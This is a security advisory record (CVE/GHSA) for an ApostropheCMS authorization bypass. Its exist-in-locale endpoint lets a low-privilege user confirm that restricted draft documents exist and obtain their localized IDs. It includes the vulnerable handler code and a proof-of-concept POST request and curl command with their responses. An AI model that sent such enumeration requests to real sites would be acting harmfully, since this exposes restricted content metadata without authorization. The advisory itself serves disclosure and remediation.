{"id":"CVE-2026-113660","aliases":["GHSA-vmxh-77cw-65j7"],"title":"ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers","summary":"ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers","severity":"medium","cvss":4.3,"cwe":["CWE-862"],"vendor":"apostrophe","product":"apostrophe","ecosystem":"npm","affected":["apostrophe < 4.33.0"],"patched":["apostrophe 4.33.0"],"published":"2026-10-20","updated":"2026-10-20","sourceUpdated":"2026-10-20T18:19:35Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-vmxh-77cw-65j7","references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"},{"url":"https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"},{"url":"https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"},{"url":"https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"},{"url":"https://github.com/advisories/GHSA-vmxh-77cw-65j7"}],"tags":["ghsa","npm","cve.org","exploit-available"],"exploitAvailable":true,"ssvc":{"exploitation":"poc","automatable":"no","technicalImpact":"partial","timestamp":"2026-10-20T17:43:34.622460Z"},"ingestedAt":"2026-10-20T18:14:37.217Z","slug":"CVE-2026-113660","body":"## Overview\n\n**Summary**\nApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.\n\nThe issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.\n\n**Details**\nExact vulnerable source path: ` packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529`\nExact API route:` POST /api/v1/@apostrophecms/i18n/exist-in-locale`\nThe handler verifies only that the requester is authenticated:\n\n```\nif (!req.user) {\n  throw self.apos.error('notfound');\n}\n```\nIt then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:\n\n```\nconst found = await self.apos.doc.db.find({\n  aposLocale: `${locale}:${mode}`,\n  aposDocId: {\n    $in: ids.map(self.apos.doc.toAposDocId)\n  }\n}).project({\n  _id: 1,\n  aposDocId: 1\n}).toArray();\n```\nThis query does not apply:\n\n.permission('view')\n.permission('edit')\napos.permission.criteria(req, 'view')\nobject-level document authorization\nlocale-specific authorization\n\nThe endpoint accepts multiple IDs, making bulk probing possible.\n\n**Proof of Concept**\n\nThe local application was running at: http://127.0.0.1:3000\nThe test account had the low-privilege role: guest\nThe local database contained synthetic records for the restricted document base ID:\n```\nwv2l4rbaplgzkg80zkne4aoz:en:draft\nwv2l4rbaplgzkg80zkne4aoz:fr:draft\n```\nAll credentials and cookies are intentionally redacted below.\n\n```\nPOST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: <redacted-authenticated-guest-session>\nContent-Type: application/json\nAccept: application/json\n\n{\n  \"ids\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n    \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n  ],\n  \"locale\": \"fr\",\n  \"mode\": \"draft\"\n}\n```\n**Equivalent command**\n```\ncurl -i -sS -X POST \\\n  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \\\n  -b /path/to/redacted-guest-cookie-jar.txt \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json' \\\n  --data-raw '{\n    \"ids\": [\n      \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n      \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n    ],\n    \"locale\": \"fr\",\n    \"mode\": \"draft\"\n  }'\n```\n**Observed response**\n```\nHTTP/1.1 200 OK\nX-Powered-By: Express\nContent-Type: application/json; charset=utf-8\n```\n\n```\n{\n  \"originalLocaleIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:en:draft\"\n  ],\n  \"newLocaleIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:fr:draft\"\n  ],\n  \"aposDocIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz\"\n  ]\n}\n```\nThe nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.\n\n**Authorization control**\nUsing the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:\n\n```\nGET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: <redacted-authenticated-guest-session>\nAccept: application/json\n\n```\n\n**Observed response:**\n```\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n```\n```\n{\n  \"name\": \"forbidden\",\n  \"data\": {},\n  \"message\": \"forbidden\"\n}\n\n```\nThis demonstrates the authorization boundary clearly:\n\n| Request                                         | Result                              |\n| ----------------------------------------------- | ----------------------------------- |\n| Normal page API for the restricted draft        | `403 Forbidden`                     |\n| `exist-in-locale` for the same restricted draft | `200 OK` with localized document ID |\n| `exist-in-locale` for a nonexistent ID          | `200 OK` with empty arrays          |\n\n**Additional impact validation**\n\nThe behavior was also tested across multiple locale and mode combinations:\n\n| Query                         | Result                                                     |\n| ----------------------------- | ---------------------------------------------------------- |\n| `locale=fr`, `mode=draft`     | Returned `wv2l4rbaplgzkg80zkne4aoz:fr:draft`               |\n| `locale=fr`, `mode=published` | Returned empty arrays because no published fixture existed |\n| `locale=de`, `mode=draft`     | Returned empty arrays because no German fixture existed    |\n| Two IDs in one request        | Existing ID returned; nonexistent ID omitted               |\n\nThis confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.\n\nImpact\nA low-privilege authenticated user can:\nProbe arbitrary known or guessed document base IDs.\nDetermine whether restricted documents have localized versions.\nDetermine whether unpublished draft versions exist.\nIdentify which locales contain matching records.\nObtain exact localized document identifiers.\nSubmit multiple IDs in one request for bulk reconnaissance.\nThe issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.\n\nRecommended remediation\nBefore executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check.\nThe endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.\n\n[[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529)\n\n[[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)\n\n## Affected packages\n\n- `apostrophe < 4.33.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `apostrophe 4.33.0`","depth":"twilight","depthScore":36,"depthScoreParts":{"impact":23.7,"likelihood":0,"exploitation":12,"ransomware":0},"changes":[]}